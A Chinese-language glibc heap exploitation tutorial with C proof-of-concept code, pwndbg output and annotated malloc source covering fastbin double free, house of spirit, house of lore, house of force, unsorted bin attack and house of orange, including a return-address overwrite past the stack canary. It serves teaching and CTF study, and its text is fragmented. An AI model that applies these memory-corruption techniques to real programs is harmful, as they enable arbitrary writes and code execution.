intmain() { fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n"); fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n"); fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n"); fprintf(stderr, "This can be exploited in a use-after-free situation.\n");
fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n"); char* a = malloc(512); char* b = malloc(256); char* c;
fprintf(stderr, "1st malloc(512): %p\n", a); fprintf(stderr, "2nd malloc(256): %p\n", b); fprintf(stderr, "we could continue mallocing here...\n"); fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n"); strcpy(a, "this is A!"); fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n"); free(a);
fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a);
fprintf(stderr, "So, let's allocate 500 bytes\n"); c = malloc(500); fprintf(stderr, "3rd malloc(500): %p\n", c); fprintf(stderr, "And put a different string here, \"this is C!\"\n"); strcpy(c, "this is C!"); fprintf(stderr, "3rd allocation %p points to %s\n", c, c); fprintf(stderr, "first allocation %p points to %s\n", a, a); fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation."); }
我们从调试上入手,首先简单对 main 函数下断点。b main 。
程序首先创建了两个 chunk,size分别为 512 和256。然后向chunk a 分别写入字符串 ‘this is A’ 。
1 2 3 4 5 6 7 8 9 10 11 12
Pwndbg> heap Top Chunk: 0x602320 Last Remainder: 0
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); fprintf(stderr, "1st malloc(8): %p\n", malloc(8)); fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); fprintf(stderr, "3rd malloc(8): %p\n", malloc(8)); }
在这之前,我们先看一个程序。
1 2 3 4 5 6 7 8 9
17fprintf(stderr, "Freeing the first one...\n"); 18free(a); 19 20fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 21free(a); 22 23fprintf(stderr, "So, instead, we'll free %p.\n", b); 24free(b); 25
我们把21 行的注释去掉。编译程序并运行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
This file demonstrates a simple double-free attack with fastbins. Allocating 3 buffers. 1st malloc(8): 0xb74010 2nd malloc(8): 0xb74030 3rd malloc(8): 0xb74050 Freeing the first one... If we free 0xb74010 again, things will crash because 0xb74010 is at the top of the free list. *** Error in `./fastbin_dup_double_free': double free or corruption (fasttop): 0x0000000000b74010 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x790cb)[0x7fe7c6e7d0cb] /lib/x86_64-linux-gnu/libc.so.6(+0x82c9a)[0x7fe7c6e86c9a] /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fe7c6e8ad8c] ./fastbin_dup_double_free[0x400740] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7fe7c6e243f1] ./fastbin_dup_double_free[0x40054a] ======= Memory map: ========
17fprintf(stderr, "Freeing the first one...\n"); 18free(a); 19 20fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 21//free(a); 22 23fprintf(stderr, "So, instead, we'll free %p.\n", b); 24free(b);
15fprintf(stderr, "3rd malloc(8): %p\n", c); 16 17fprintf(stderr, "Freeing the first one...\n"); ► 18free(a); 19 20fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 21//free(a);
free(b)
1 2 3 4 5 6
22 23fprintf(stderr, "So, instead, we'll free %p.\n", b); 24free(b); 25 ► 26fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 27free(a);
22 23fprintf(stderr, "So, instead, we'll free %p.\n", b); 24free(b); 25 26fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); ► 27free(a); 28 29fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 30fprintf(stderr, "1st malloc(8): %p\n", malloc(8)); 31fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); 32fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
intmain() { fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n");
unsignedlonglong stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsignedlonglong *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d); fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); fprintf(stderr, "Now the free list has [ %p ].\n", a); fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that malloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); *d = (unsignedlonglong) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); }
36unsignedlonglong *d = malloc(8); 37 38fprintf(stderr, "1st malloc(8): %p\n", d); 39fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); 40fprintf(stderr, "Now the free list has [ %p ].\n", a); ► 41fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 42"so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 43"so that malloc will think there is a free chunk there and agree to\n" 44"return a pointer to it.\n", a); 45 stack_var = 0x20;
这个时候 程序会从 fastbins 里取一个,由于fastbins 是 LIFO (Last in First out)。 chunk A 会被取出使用。倘若我们这个时候能对 chunk D 进行操作,如 d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); 由于 stack_var = 0x20;这样的定义是在函数内,所以stack_var的地址将在栈上,通过对指针 d 的操作,我们可以伪造一个 chunk ,并将这个 chunk 放在栈上。
➜ glibc_2.25 git:(master) ✗ ./fastbin_dup_into_stack This file extends on fastbin_dup.c by tricking malloc into returning a pointer to a controlled location (in this case, the stack). The address we want malloc() to return is 0x7fff02a085c8. Allocating 3 buffers. 1st malloc(8): 0x146b010 2nd malloc(8): 0x146b030 3rd malloc(8): 0x146b050 Freeing the first one... If we free 0x146b010 again, things will crash because 0x146b010 is at the top of the free list. So, instead, we'll free 0x146b030. Now, we can free 0x146b010 again, since it's not the head of the free list. Now the free list has [ 0x146b010, 0x146b030, 0x146b010 ]. We'll now carry out our attack by modifying data at 0x146b010. 1st malloc(8): 0x146b010 2nd malloc(8): 0x146b030 Now the free list has [ 0x146b010 ]. Now, we have access to 0x146b010 while it remains at the head of the free list. so now we are writing a fake free size (in this case, 0x20) to the stack, so that malloc will think there is a free chunk there and agree to return a pointer to it. Now, we overwrite the first 8 bytes of the data at 0x146b010 to point right before the 0x20. 3rd malloc(8): 0x146b010, putting the stack address on the free list 4th malloc(8): 0x7fff02a085c8
最后效果如上,我们发现当 chunk a 被拿出来后,由于我们伪造了chunk a 的 fd,造成如下效果。
void* p3 = malloc(0x400); fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3); fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n"); free(p1); fprintf(stderr, "Trigger the double free vulnerability!\n"); fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n"); fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40)); }
/* If this is a large request, consolidate fastbins before continuing. While it might look excessive to kill all fastbins before even seeing if there is space available, this avoids fragmentation problems normally associated with fastbins. Also, in practice, programs tend to have runs of either small or large requests, but less often mixtures, so consolidation is not invoked all that often in most programs. And the programs that it is called frequently in otherwise tend to fragment. */
当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。这个时候我们就可以再次释放 p1
Allocated two fastbins: p1=0x220a010 p2=0x220a060 Now free p1! Allocated large bin to trigger malloc_consolidate(): p3=0x220a0b0 In malloc_consolidate(), p1 is moved to the unsorted bin. Trigger the double free vulnerability! We can pass the check in malloc() since p1 is not fast top. Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x220a010 0x220a010
0x05 unsafe_unlink
Exploiting free on a corrupted chunk to get arbitrary write.
house of spirit 通常用来配合栈溢出使用,通常场景是,栈溢出无法覆盖到的 EIP ,而恰好栈中有一个即将被 free 的堆指针。我们通过在栈上 fake 一个fastbin chunk 接着在 free 操作时,这个栈上的堆块被放到 fast bin 中,下一次 malloc 对应的大小时,由于 fast bin 的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个 fake chunk。所以 fake chunk 的伪造是关键。
1 2 3 4 5 6 7
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize
23// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 24 fake_chunks[9] = 0x1234; // nextsize 25 26fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 27fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); ► 28 a = &fake_chunks[2]; 29 30fprintf(stderr, "Freeing the overwritten pointer.\n"); 31free(a); 32 33fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
修改后如下:
1 2
Pwndbg> p a $11 = (unsigned long long *) 0x7fffffffe380--> $9 = (unsigned long long **) 0x7fffffffe368
a = (uint8_t*) malloc(0x100); fprintf(stderr, "a: %p\n", a); int real_a_size = malloc_usable_size(a); fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' " "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00. * the least significant byte of this will be 0x10, because the size of the chunk includes * the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0x200);
fprintf(stderr, "b: %p\n", b);
c = (uint8_t*) malloc(0x100); fprintf(stderr, "c: %p\n", c);
barrier = malloc(0x100); fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n" "The barrier is not strictly necessary, but makes things less confusing\n", barrier);
值得一提的是, barrier 这个chunk是用来防止 free c 的时候被放入 top-chunk。以及 b c 的 chunk 大小不能为 fastbins chunk size。因为 fastbins chunk 在被释放后不会合并。chunk a的作用是用来制造单字节溢出。
在进行一字节溢出之前,由于我们通过 chunk a 的单字节溢出修改了 chunk b 的 size ,为了绕过 unlink 的checnk ,我们先伪造一个 c prev_size。 计算方法如下:
/* If a small request, check regular bin. Since these "smallbins" hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */
if (in_smallbin_range(nb)) { // 获取 small bin 的索引 idx = smallbin_index(nb); // 获取对应 small bin 中的 chunk 指针 bin = bin_at(av, idx); // 先执行 victim= last(bin),获取 small bin 的最后一个 chunk // 如果 victim = bin ,那说明该 bin 为空。 // 如果不相等,那么会有两种情况 if ((victim = last(bin)) != bin) { // 第一种情况,small bin 还没有初始化。 if (victim == 0) /* initialization check */ // 执行初始化,将 fast bins 中的 chunk 进行合并 malloc_consolidate(av); // 第二种情况,small bin 中存在空闲的 chunk else { // 获取 small bin 中倒数第二个 chunk 。 bck = victim->bk; // 检查 bck->fd 是不是 victim,防止伪造 if (__glibc_unlikely(bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } // 设置 victim 对应的 inuse 位 set_inuse_bit_at_offset(victim, nb); // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来 bin->bk = bck; bck->fd = bin; // 如果不是 main_arena,设置对应的标志 if (av != &main_arena) set_non_main_arena(victim); // 细致的检查 check_malloced_chunk(av, victim, nb); // 将申请到的 chunk 转化为对应的 mem 状态 void *p = chunk2mem(victim); // 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff alloc_perturb(p, bytes); return p; } } }
从下面的这部分我们可以看出
1 2 3 4 5 6 7 8 9 10 11 12
// 获取 small bin 中倒数第二个 chunk 。 bck = victim->bk; // 检查 bck->fd 是不是 victim,防止伪造 if (__glibc_unlikely(bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } // 设置 victim 对应的 inuse 位 set_inuse_bit_at_offset(victim, nb); // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来 bin->bk = bck; bck->fd = bin;
如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的fake chunk,并且同时满足之后的 bck->fd != victim 的检测,那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。也就是说,当下一次申请 small bin 的时候,我们就会分配到指定位置的 fake chun。
101fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); 102char *p4 = malloc(100); 103fprintf(stderr, "p4 = malloc(100)\n"); 104 ► 105fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
然后我们可以完成攻击
1 2 3
108fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack ► 109intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode 110memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
P4 + 40 的位置刚好是 eip的的位置。
最后,我们说的是small bin 链的构造,其实我这里用的是 fastbin ,其释放后虽然是被加入到 fast bins 中,而small bin是释放后 放入 unsorted bin,但 malloc 之后,也会被整理到 small bins 里。
42int evil_chunk_size = 0x181; 43int evil_region_size = 0x180 - 8; 44fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", 45 evil_chunk_size, evil_region_size); 46 47 *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
59fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n"); 60fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n"); 61free(p2);
Exploiting the Top Chunk (Wilderness) header in order to get malloc to return a nearly-arbitrary pointer
house_of_force 是一种通过改写 top chunk 的 size 字段来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。
67unsignedlong evil_size = (unsignedlong)bss_var - sizeof(long)*4 - (unsignedlong)ptr_top; 68fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" 69"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); 70void *new_ptr = malloc(evil_size);
9intptr_t* victim = malloc(0x100); 10 11fprintf(stderr, "Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n"); 12intptr_t* p1 = malloc(0x100); 13 14fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); 15free(victim);
PwnLife> p stack_buffer $3 = {0x0, 0x110, 0x0, 0x7fffffffe3f0} PwnLife> p &stack_buffer $4 = (intptr_t (*)[4]) 0x7fffffffe3f0
让伪造的 chunk 的bk 指向自身。
然后我们假设,此时有一个 堆溢出漏洞,可以修改 victim chunk的内容。
1 2 3 4
24fprintf(stderr, "Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n"); 25 victim[-1] = 32; 26 victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack 27//------------------------------------
我们通过 溢出漏洞修改 victim chunk 的bk,但此前,我们得 pass 一个check
1
Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem
1 2
25 victim[-1] = 32; 26 victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
fake chunk 被取出,而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中。另外值得注意的是 fake chunk 的 fd 指针被修改了,这是 unsorted bin 的地址,通过它可以泄露 libc 地址,这正是下面 unsorted bin attack 会讲到的。
1 2 3
29fprintf(stderr, "Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]); 30intptr_t* fake = malloc(0x100); // malloc a new chunk from fake chunk. 31fprintf(stderr, "malloc(0x100): %p\n", fake);
unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。
unlink 的对 unsorted bin 的操作是这样的:
1 2 3
/* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
25 p[1]=(unsignedlong)(&stack_var-2); 26fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); 27fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
66fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr); 67fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n"); 68fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); 69 a[real_a_size] = 0;
88fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"); 89free(b); 90fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
House of Orange的核心在于在没有free函数的情况下得到一个释放的堆块(unsorted bin)。 这种操作的原理简单来说是当前堆的top chunk尺寸不足以满足申请分配的大小的时候,原来的top chunk会被释放并被置入unsorted bin中,通过这一点可以在没有free函数情况下获取到unsorted bins。
我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 sysmalloc() 分配新内存,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 mp_.mmap_threshold:
1
if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))
另外可以看到 old top chunk 被缩小了 0x20,缩小的空间被用于放置 fencepost chunk。
根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针,可以推算出 _IO_list_all 的地址。然后通过溢出将 old top 的 bk 改写为 _IO_list_all-0x10,这样在进行 unsorted bin attack 时,就会将 _IO_list_all 修改为 &unsorted_bin-0x10:
// libio/libioP.h /* We always allocate an extra word following an _IO_FILE. This contains a pointer to the function jump table used. This is for compatibility with C++ streambuf; the word can be used to smash to a pointer to a virtual function table. */
// libio/libio.h struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsignedshort _cur_column; signedchar _vtable_offset; char _shortbuf[1];
/* Extra data for wide character streams. */ struct _IO_wide_data { wchar_t *_IO_read_ptr; /* Current read pointer */ wchar_t *_IO_read_end; /* End of get area. */ wchar_t *_IO_read_base; /* Start of putback+get area. */ wchar_t *_IO_write_base; /* Start of put area. */ wchar_t *_IO_write_ptr; /* Current put pointer. */ wchar_t *_IO_write_end; /* End of put area. */ wchar_t *_IO_buf_base; /* Start of reserve area. */ wchar_t *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ wchar_t *_IO_backup_base; /* Pointer to first valid character of backup area */ wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */